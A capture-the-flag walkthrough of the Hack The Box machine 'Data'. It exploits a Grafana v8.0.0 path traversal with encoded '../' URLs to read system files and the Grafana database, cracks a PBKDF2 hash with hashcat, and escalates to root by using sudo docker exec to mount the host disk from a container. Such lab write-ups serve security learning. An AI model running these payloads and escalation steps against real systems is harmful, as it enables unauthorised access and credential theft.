HTB Data

Hack the Box Easy machine "Data"


Nmap scan

➜  ~ sudo nmap -sV -sC -T4 -p- 10.129.180.121
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 19:23 CEST
Nmap scan report for 10.129.180.121
Host is up (0.064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
|   256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
|_  256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
3000/tcp open  http    Grafana http
| http-title: Grafana
|_Requested resource was /login
| http-robots.txt: 1 disallowed entry
|_/
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.09 seconds

Its running Grafana on port 3000. Grafana is a multi-platform open source analytics and interactive visualization web application.

Default login is admin:admin but it doesnt work. Bottom page shows the version Grafana v8.0.0. Searching for "Grafana v8.0.0 vulnerabilities" the Grafana github repo shows Path traversal vulnerability. Looking for a PoC i found:

https://sploitus.com/exploit?id=AFB56221-47F2-5AB9-8905-B67D3ADB801A&utm_source=rss&utm_medium=rss

Using url encoding it showed /etc/passwd

http://10.129.180.121:3000/public/plugins/alertmanager/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/var/lib/grafana/grafana.db

The PoC also shows where the Grafana database file is stored.

http://10.129.180.121:3000/public/plugins/alertmanager/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/var/lib/grafana/grafana.db

In grafana.db there's a hash, salt and rand. Grafana creates hashes using PBKDF2-HMAC-SHA256. This can be cracked using Hashcat. Hashcat is asking for a format to be found here: https://hashcat.net/wiki/doku.php?id=example_hashes

Hash format needed to crack with hashcat

10900   PBKDF2-HMAC-SHA256  sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

Convert hash and salt to base64

➜ echo -n 'LCBhdtJWjl' | base64
TENCaGR0SldqbA==
➜ echo 'dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8' | xxd -r -p | base64
3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

Then crack the password

hashcat -m 10900 'sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=' ~/rockyou.txt
hashcat (v6.2.6) starting

Dictionary cache built:
* Filename..: /home/kali/rockyou.txt
* Passwords.: 14344393
* Bytes.....: 139921518
* Keyspace..: 14344386
* Runtime...: 1 sec

sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:<password>

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0...O1Hag=
Time.Started.....: Tue Jul 22 20:29:48 2025 (0 secs)
Time.Estimated...: Tue Jul 22 20:29:48 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/kali/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     3176 H/s (7.34ms) @ Accel:32 Loops:1024 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1280/14344386 (0.01%)
Rejected.........: 0/1280 (0.00%)
Restore.Point....: 1024/14344386 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:9216-9999
Candidate.Engine.: Device Generator
Candidates.#1....: abcd1234 -> hotgirl
Hardware.Mon.#1..: Util: 70%

Started: Tue Jul 22 20:29:46 2025
Stopped: Tue Jul 22 20:29:50 2025

Using the cracked password we could login using ssh and get the user flag.

boris@data:~$ ls -la
total 36
drwxr-xr-x 5 boris boris 4096 Jun  4 12:14 .
drwxr-xr-x 3 root  root  4096 Jun  4 12:50 ..
lrwxrwxrwx 1 boris boris    9 Jan 23  2022 .bash_history -> /dev/null
-rw-r--r-- 1 boris boris  220 Jan 23  2022 .bash_logout
-rw-r--r-- 1 boris boris 3771 Jan 23  2022 .bashrc
drwx------ 2 boris boris 4096 Jan 23  2022 .cache
drwx------ 3 boris boris 4096 Jan 23  2022 .gnupg
drwxrwxr-x 3 boris boris 4096 Jan 23  2022 .local
-rw-r--r-- 1 boris boris  807 Jan 23  2022 .profile
-rw-r----- 1 boris boris   33 Jul 22 17:23 user.txt

Privilege Escalation

Checking what Boris can run with sudo.

boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

Docker exec

From the docker website. The docker exec command runs a new command in a running container. The command must be an executable. A chained or a quoted command doesn't work.

The problem is we need to find the name of the container. Using psI found the id of a container, which seemed the current one I am in.

boris@data:~/.config/lxc$ ps aux | grep containerd
root      1278  0.0  2.1 1351056 43876 ?       Ssl  17:23   0:04 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root      1639  0.0  0.4 712864  8572 ?        Sl   17:23   0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
boris    22516  0.0  0.0  14860  1148 pts/0    S+   19:07   0:00 grep --color=auto containerd

We can login as root in the container, but wrong container it seems.

boris@data:~/.config/lxc$ sudo docker exec -it --user root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 bash
bash-5.1# whoami
root
bash-5.1# ls -la /root
total 8
drwx------    1 root     root          4096 Apr  9 09:01 .
drwxr-xr-x    1 root     root          4096 Jan 23  2022 ..
lrwxrwxrwx    1 root     root             9 Apr  9 09:01 .ash_history -> /dev/null
lrwxrwxrwx    1 root     root             9 Jan 23  2022 .bash_history -> /dev/null

Linux Mount

Back to enumeration. The mount command connects filesystems (from devices or virtual sources) to this tree, making them accessible. With umount command you can detach them again.

Using mount we see all mounted filesystems

boris@data:~$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1001016k,nr_inodes=250254,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=203120k,mode=755)
/dev/sda1 on / type ext4 (rw,relatime)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
<snip>

The /dev/sda1 is the primary partition in the OS.

We can use the same command to get access as root the container and then mount the primary hard disk

# To root
boris@data:~/.config/lxc$ sudo docker exec -it --user root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 bash

# Mount 
bash-5.1# mount /dev/sda1 /mnt/

# Get the flag
bash-5.1# cd /mnt/root
bash-5.1# ls -la
total 36
drwx------    7 root     root          4096 Jul 22 17:23 .
drwxr-xr-x   23 root     root          4096 Jun  4 13:20 ..
lrwxrwxrwx    1 root     root             9 Jan 23  2022 .bash_history -> /dev/null
drwx------    2 root     root          4096 Apr  9 09:05 .cache
drwx------    3 root     root          4096 Apr  9 09:05 .gnupg
drwxr-xr-x    3 root     root          4096 Jan 23  2022 .local
-rw-r--r--    1 root     root           148 Aug 17  2015 .profile
drwx------    2 root     root          4096 Jan 23  2022 .ssh
-rw-r-----    1 root     root            33 Jul 22 17:23 root.txt
drwxr-xr-x    4 root     root          4096 Jan 23  2022 snap
bash-5.1# cat root.txt
5b8cb156a59sdf4a331ad27ead4a